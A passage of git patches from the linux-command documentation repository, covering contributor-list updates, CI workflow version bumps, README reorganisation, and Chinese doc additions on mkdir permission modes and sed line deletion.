+Xrtero rexlin600 -sfwwslm -Yidan Wang +oliver +noodles2hg +miniwater +myliwenbo +cole +Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin juemuren4449 jqz3.tech jcdj666 @@ -75,6 +73,8 @@ Deny dayday cxalc +Forever121 +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -101,11 +101,11 @@ UniqueDing tutianyu101 tangke -sunls24 snovey shuangcui shc -Forever121 +sfwwslm +c2ch MinsonLee Marnm mwei @@ -135,7 +135,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -163,6 +162,7 @@ Robigus Rining Wu Ray Yee +QinShower Mystic

From 83b53b1558c9d51d779be9f57b7efd38dfe1cb5b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 22 Jun 2024 23:58:39 +0800 Subject: [PATCH 350/570] ci: Update FUNDING.yml --- .github/FUNDING.yml | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 716bbf0f45f..abe8b762fe5 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,9 +1,3 @@ -# These are supported funding model platforms - -# github: [jaywcjlove] -# patreon: # Replace with a single Patreon username -# open_collective: # Replace with a single Open Collective username -# ko_fi: # Replace with a single Ko-fi username -# tidelift: #npm/mocker-api -# community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -custom: https://jaywcjlove.github.io/#/sponsor +ko_fi: jaywcjlove +buy_me_a_coffee: jaywcjlove +custom: ["https://www.paypal.me/kennyiseeyou", "https://jaywcjlove.github.io/#/sponsor"] From b067905c205a67db1a45af928854a87ad878a677 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:17:20 +0800 Subject: [PATCH 351/570] ci: update workflows config. --- .github/workflows/ci.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f458838acc4..2c7ac4fe2a8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -78,6 +78,7 @@ jobs: if: steps.create_tag.outputs.successful with: artifacts: '.deploy/linux-command.docset.tgz' + draft: false token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} @@ -122,7 +123,7 @@ jobs: - run: rm -rf .deploy/linux-command.docset - name: Deploy - uses: peaceiris/actions-gh-pages@v3 + uses: peaceiris/actions-gh-pages@v4 with: commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' github_token: ${{ secrets.GITHUB_TOKEN }} From e6f96996c6c9e848aa3e096cd8586a5d2cb89b50 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:29:53 +0800 Subject: [PATCH 352/570] ci: update workflows config. --- .github/workflows/ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2c7ac4fe2a8..0fd2f9c3a3d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -77,6 +77,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: + allowUpdates: true artifacts: '.deploy/linux-command.docset.tgz' draft: false token: ${{ secrets.GITHUB_TOKEN }} From 770ae3239e4a4ab7459ccb464f9d407c9d9018a4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 23 Jun 2024 10:36:30 +0800 Subject: [PATCH 353/570] ci: update workflows config. --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0fd2f9c3a3d..7091845dbb4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -148,7 +148,7 @@ jobs: password: ${{ secrets.DOCKER_PASSWORD }} - name: Build and push image:latest - uses: docker/build-push-action@v3 + uses: docker/build-push-action@v6 with: push: true context: . @@ -156,7 +156,7 @@ jobs: tags: ${{ secrets.DOCKER_USER }}/linux-command:latest - name: Build and push image:tags - uses: docker/build-push-action@v3 + uses: docker/build-push-action@v6 if: steps.create_tag.outputs.successful with: push: true @@ -173,7 +173,7 @@ jobs: # password: ${{ secrets.GITHUB_TOKEN }} # - name: Build and push image:latest - # uses: docker/build-push-action@v3 + # uses: docker/build-push-action@v6 # with: # push: true # context: . @@ -181,7 +181,7 @@ jobs: # tags: ghcr.io/jaywcjlove/linux-command:latest # - name: Build and push image:tags - # uses: docker/build-push-action@v3 + # uses: docker/build-push-action@v6 # if: steps.create_tag.outputs.successful # with: # push: true From c5c217960cb3ec7fc48af73d8978c654bd36ece5 Mon Sep 17 00:00:00 2001 From: nsnans <3064254883@qq.com> Date: Thu, 27 Jun 2024 11:51:29 +0800 Subject: [PATCH 354/570] doc: update command/mkdir.md (#585) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加：-m 参数权限 --- command/mkdir.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/command/mkdir.md b/command/mkdir.md index ce9c5ef2cea..7b6cd36db5a 100644 --- a/command/mkdir.md +++ b/command/mkdir.md @@ -44,4 +44,27 @@ mkdir -m 700 /usr/meng/test mkdir -p-m 750 bin/os_1 ``` +### 补充 +-m ：配置文件的权限 + + 如：755 + + 每个数字代表不同的权限集合，分别为： + + - 第一个数字`7`：所有者（user）的权限 + - 第二个数字`5`：所属组（group）的权限 + - 第三个数字`5`：其他用户（others）的权限 + + 每个数字是以下权限的组合： + - 读权限 (read) - 4 + - 写权限 (write) - 2 + - 执行权限 (execute) - 1 + + 因此，`755`的具体权限为： + + - `7`（所有者）= 4 (读) + 2 (写) + 1 (执行) = 7 + - `5`（所属组）= 4 (读) + 1 (执行) = 5 + - `5`（其他用户）= 4 (读) + 1 (执行) = 5 + + From e9564f479863f1a076fddbd3b7bd4c60880078bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 03:52:12 +0000 Subject: [PATCH 355/570] doc: update README.md. --- README.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 8f5c231b2da..7ff751b70e7 100644 --- a/README.md +++ b/README.md @@ -407,21 +407,22 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alterem YH Xingwen Zhang -YEUNGCHIE Xrtero -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 -kassadin +YEUNGCHIE juemuren4449 +kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +nsnans +oliver +rexlin600 jqz3.tech jcdj666 hululu1068 @@ -436,7 +437,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Forever121 +Mystic Yidan Wang Panthea Johnson 远方 @@ -462,7 +463,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang weibk UniqueDing -tutianyu101 tangke snovey shuangcui From 0d262d029cd05a3cfbda8b9b3a46bb60a6c541d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 03:52:13 +0000 Subject: [PATCH 356/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 38f7c28bdf5..94ec43b5c19 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -44,21 +44,22 @@ Alterem YH Xingwen Zhang -YEUNGCHIE Xrtero -rexlin600 -oliver -noodles2hg -miniwater -myliwenbo -cole -Ricardowang -linuxwd -lewis1573 -leo -kid1412621 -kassadin +YEUNGCHIE juemuren4449 +kassadin +kid1412621 +leo +lewis1573 +linuxwd +Ricardowang +cole +myliwenbo +miniwater +noodles2hg +nsnans +oliver +rexlin600 jqz3.tech jcdj666 hululu1068 @@ -73,7 +74,7 @@ Deny dayday cxalc -Forever121 +Mystic Yidan Wang Panthea Johnson 远方 @@ -99,7 +100,6 @@ Lingfeng Wang weibk UniqueDing -tutianyu101 tangke snovey shuangcui From b5f545dc6ad36ade78e170ffa176d4e788fbd06c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:28:53 +0800 Subject: [PATCH 357/570] doc: Update README.md --- README.md | 127 ++++-------------------------------------------------- 1 file changed, 8 insertions(+), 119 deletions(-) diff --git a/README.md b/README.md index 7ff751b70e7..59afa1896c7 100644 --- a/README.md +++ b/README.md @@ -43,87 +43,15 @@ [`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/), [`51tools.info`](https://51tools.info/linux/) -## 微信小程序版本 - -微信小程序版本，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260)。 - - - -## Chrome 插件 - -可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果，[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载： - -[![Chrome Web Store 下载](http://jaywcjlove.github.io/sb/download/chrome-web-store.svg)](https://chrome.google.com/webstore/detail/oscnews/iheapfheanfjcemgneblljhaebonakbg) - -

-Chrome 插件截图 - -Chrome 插件截图 - -
- -## Raycast 版本 - -[Raycast 版本安装](https://www.raycast.com/jaywcjlove/linux-command)， ([**#338**](https://github.com/jaywcjlove/linux-command/issues/338))下图是界面效果： - -
-Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -Raycast 版本截图 - -
- - -## Alfred 版本 - -[Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 - -
-Alfred 版本截图 - -Alfred 版本截图 - -
- -## Dash 版本 - -由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。 - - -
-Dash 版本截图 - -Dash 版本截图 - -
- -## Android 版本 - -[Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases)， 下图是界面效果。 - -
-Android 版本截图 - -Android 版本截图 - -Android 版本截图 - -Android 版本截图 - -Android 版本截图 -
- -## 命令行工具 - -- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 -- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 +## 其它版本 +- [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260)，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) +- [Chrome 插件](https://github.com/jaywcjlove/oscnews)，[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 +- [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command)，([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) +- [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)，`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 使用，[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件，由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 +- [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 +- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 ## Docker @@ -166,44 +94,6 @@ http://localhost:9665/ 通过 Vercel 分配的域名访问，或者自行在设置中绑定域名。 -## 目录 - -- [Web 版本](#web-版本) -- [微信小程序版本](#微信小程序版本) -- [Chrome 插件](#chrome-插件) -- [Raycast 版本](#raycast-版本) -- [Alfred 版本](#alfred-版本) -- [Dash 版本](#dash-版本) -- [Android 版本](#android-版本) -- [命令行工具](#命令行工具) -- [Docker](#docker) -- [Vercel](#vercel) -- [目录](#目录) -- [Linux命令分类](#linux命令分类) - - [文件传输](#文件传输) - - [备份压缩](#备份压缩) - - [文件管理](#文件管理) - - [磁盘管理](#磁盘管理) - - [磁盘维护](#磁盘维护) - - [系统设置](#系统设置) - - [系统管理](#系统管理) - - [文本处理](#文本处理) - - [网络通讯](#网络通讯) - - [设备管理](#设备管理) - - [电子邮件与新闻组](#电子邮件与新闻组) - - [其他命令](#其他命令) -- [开发使用](#开发使用) -- [Linux学习资源整理](#linux学习资源整理) - - [社区网站](#社区网站) - - [知识相关](#知识相关) - - [软件工具](#软件工具) - - [中国开源镜像站点](#中国开源镜像站点) - - [游戏玩家发行版](#游戏玩家发行版) -- [Team](#team) -- [感谢所有贡献者](#感谢所有贡献者) -- [License](#license) - - ## Linux命令分类 *这里存放Linux 命令大全并不全，你可以通过[linux-command](https://jaywcjlove.github.io/linux-command/)来搜索，它是把 [command](./assets/command) 目录里面搜集的命令，生成了静态HTML并提供预览以及索引搜索。* @@ -355,7 +245,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [Solus](https://solus-project.com) [下载地址](https://solus-project.com/download/) - [Manjaro Gaming Edition (mGAMe)](https://sourceforge.net/projects/mgame/) [下载地址](https://sourceforge.net/projects/mgame/) - ## Team [![小弟调调™](https://github.com/jaywcjlove.png?size=100)](https://github.com/jaywcjlove) | [![ZhuangZhu-74](https://github.com/ZhuangZhu-74.png?size=100)](https://github.com/ZhuangZhu-74) | [![Huck Huang](https://github.com/huckhuang.png?size=100)](https://github.com/huckhuang) From eed00d53bcf3c4c17f8dfa0ff316fc73b94c681a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 06:29:24 +0000 Subject: [PATCH 358/570] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 59afa1896c7..858127966b7 100644 --- a/README.md +++ b/README.md @@ -352,12 +352,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lingfeng Wang weibk UniqueDing +tutianyu101 tangke snovey shuangcui shc sfwwslm -c2ch MinsonLee Marnm mwei @@ -387,6 +387,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -414,8 +416,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus Rining Wu Ray Yee -QinShower -Mystic +QinShower 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From e22feab5592be48f5828def0c904204a9e807e48 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 27 Jun 2024 06:29:24 +0000 Subject: [PATCH 359/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 94ec43b5c19..be7be0b51aa 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -100,12 +100,12 @@ Lingfeng Wang weibk UniqueDing +tutianyu101 tangke snovey shuangcui shc sfwwslm -c2ch MinsonLee Marnm mwei @@ -135,6 +135,8 @@ Azroy Alan 0x_000 +Forever121 +c2ch brinkqiang bell azureology @@ -162,8 +164,7 @@ Robigus Rining Wu Ray Yee -QinShower -Mystic +QinShower

数据来源于 GitHub Contributors，使用action-contributors创建。 From 4582a51048260184f44aeaa1aba2d18771a3ffef Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:34:51 +0800 Subject: [PATCH 360/570] doc: Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 858127966b7..a7c261ee55e 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,6 @@ 当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 -[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) - ## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) @@ -45,11 +43,13 @@ ## 其它版本 +- [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) - [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260)，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) - [Chrome 插件](https://github.com/jaywcjlove/oscnews)，[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 - [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command)，([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) - [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)，`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 使用，[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件，由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 - [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [Mac/Win/Linux](https://github.com/haloislet/linux-command) - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 From 6ef67d1b8be6d74caad51e46603bf4a73f2b65b6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:49:37 +0800 Subject: [PATCH 361/570] doc: Update README.md --- README.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index a7c261ee55e..56c059ffd8c 100644 --- a/README.md +++ b/README.md @@ -206,15 +206,17 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 软件工具 - [超赞的Linux软件](https://www.gitbook.com/book/alim0x/awesome-linux-software-zh_cn/details) Github仓库[Zh](https://github.com/alim0x/Awesome-Linux-Software-zh_CN) [En](https://github.com/VoLuong/Awesome-Linux-Software) -- Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) - - [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”，可以查看PDF，还支持各种漫画书格式 - - [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 - - [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 - - [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 - - [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 - - [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 - - [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 - - [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件，广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 + +Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) + +- [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”，可以查看PDF，还支持各种漫画书格式 +- [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 +- [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 +- [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 +- [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 +- [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 +- [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 +- [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件，广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 ### 中国开源镜像站点 From ec8c036a02e30620d87a5884a83dd21c986bb912 Mon Sep 17 00:00:00 2001 From: Karl Horky Date: Sun, 30 Jun 2024 13:42:54 +0200 Subject: [PATCH 362/570] chore: Switch Kenny Wang to Kenny Wong (#587) --- template/js/copy-to-clipboard.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js index 8647fc1c6c1..20345e0759f 100644 --- a/template/js/copy-to-clipboard.js +++ b/template/js/copy-to-clipboard.js @@ -1,4 +1,4 @@ -/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wang | https://github.com/uiwjs/copy-to-clipboard.git */ +/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wong | https://github.com/uiwjs/copy-to-clipboard.git */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); function copied(target, str) { @@ -8,4 +8,4 @@ function copied(target, str) { target.classList.remove('active'); }, 2000); }); -} \ No newline at end of file +} From 3d20516afc71171977c76e4d23c668042ab0958d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 30 Jun 2024 11:43:25 +0000 Subject: [PATCH 363/570] doc: update README.md. --- README.md | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 56c059ffd8c..6da2ae51b34 100644 --- a/README.md +++ b/README.md @@ -289,23 +289,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. xhal VVatt gggwvg -BingCoke -Ein Verne -Pan, Wen-Ming -RichardLCD -Shan Chenyu Dazhuangw Alterem YH -Xingwen Zhang -Xrtero YEUNGCHIE -juemuren4449 -kassadin -kid1412621 -leo -lewis1573 +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +BingCoke +Ein Verne +Pan, Wen-Ming linuxwd +lewis1573 +leo +kid1412621 +kassadin +juemuren4449 Ricardowang cole myliwenbo @@ -313,7 +313,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -rexlin600 +Yidan Wang jqz3.tech jcdj666 hululu1068 @@ -328,8 +328,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Mystic -Yidan Wang +Forever121 Panthea Johnson 远方 谢民皆 @@ -360,6 +359,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shuangcui shc sfwwslm +rexlin600 MinsonLee Marnm mwei @@ -372,6 +372,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LexsionLee Legend LaudOak +Karl Horky Nexchard Jeremy2214 Jack.A.Black @@ -389,7 +390,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -418,7 +418,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -QinShower +QinShower +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 91bc78cf3b5dd90cbe861bc97814d48cc63a6308 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 30 Jun 2024 11:43:25 +0000 Subject: [PATCH 364/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index be7be0b51aa..6cf5376ffa8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,23 +35,23 @@ xhal VVatt gggwvg -BingCoke -Ein Verne -Pan, Wen-Ming -RichardLCD -Shan Chenyu Dazhuangw Alterem YH -Xingwen Zhang -Xrtero YEUNGCHIE -juemuren4449 -kassadin -kid1412621 -leo -lewis1573 +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +BingCoke +Ein Verne +Pan, Wen-Ming linuxwd +lewis1573 +leo +kid1412621 +kassadin +juemuren4449 Ricardowang cole myliwenbo @@ -59,7 +59,7 @@ noodles2hg nsnans oliver -rexlin600 +Yidan Wang jqz3.tech jcdj666 hululu1068 @@ -74,8 +74,7 @@ Deny dayday cxalc -Mystic -Yidan Wang +Forever121 Panthea Johnson 远方 谢民皆 @@ -106,6 +105,7 @@ shuangcui shc sfwwslm +rexlin600 MinsonLee Marnm mwei @@ -118,6 +118,7 @@ LexsionLee Legend LaudOak +Karl Horky Nexchard Jeremy2214 Jack.A.Black @@ -135,7 +136,6 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -164,7 +164,8 @@ Robigus Rining Wu Ray Yee -QinShower +QinShower +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 7c11c4631a224fe0823eb094577eecfda76d95c9 Mon Sep 17 00:00:00 2001 From: FunKeen <112614943+FunKeen@users.noreply.github.com> Date: Wed, 10 Jul 2024 11:02:58 +0800 Subject: [PATCH 365/570] doc: Update sed.md (#589) --- command/sed.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/sed.md b/command/sed.md index 108fa1c44f6..416c271f25e 100644 --- a/command/sed.md +++ b/command/sed.md @@ -172,9 +172,10 @@ sed '2,$d' file sed '$d' file ``` -删除文件中所有开头是test的行： +删除文件中所有开头是test的行(d写外边效果一样)： ```shell +sed '/^test/d' file sed '/^test/'d file ``` From d8553adae9e0c067a6744123686a9e5fa9cf2349 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 03:03:27 +0000 Subject: [PATCH 366/570] doc: update README.md. --- README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 6da2ae51b34..0f8d193c9ee 100644 --- a/README.md +++ b/README.md @@ -300,12 +300,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. BingCoke Ein Verne Pan, Wen-Ming -linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 +jqz3.tech +linuxwd Ricardowang cole myliwenbo @@ -313,8 +314,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -329,6 +328,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 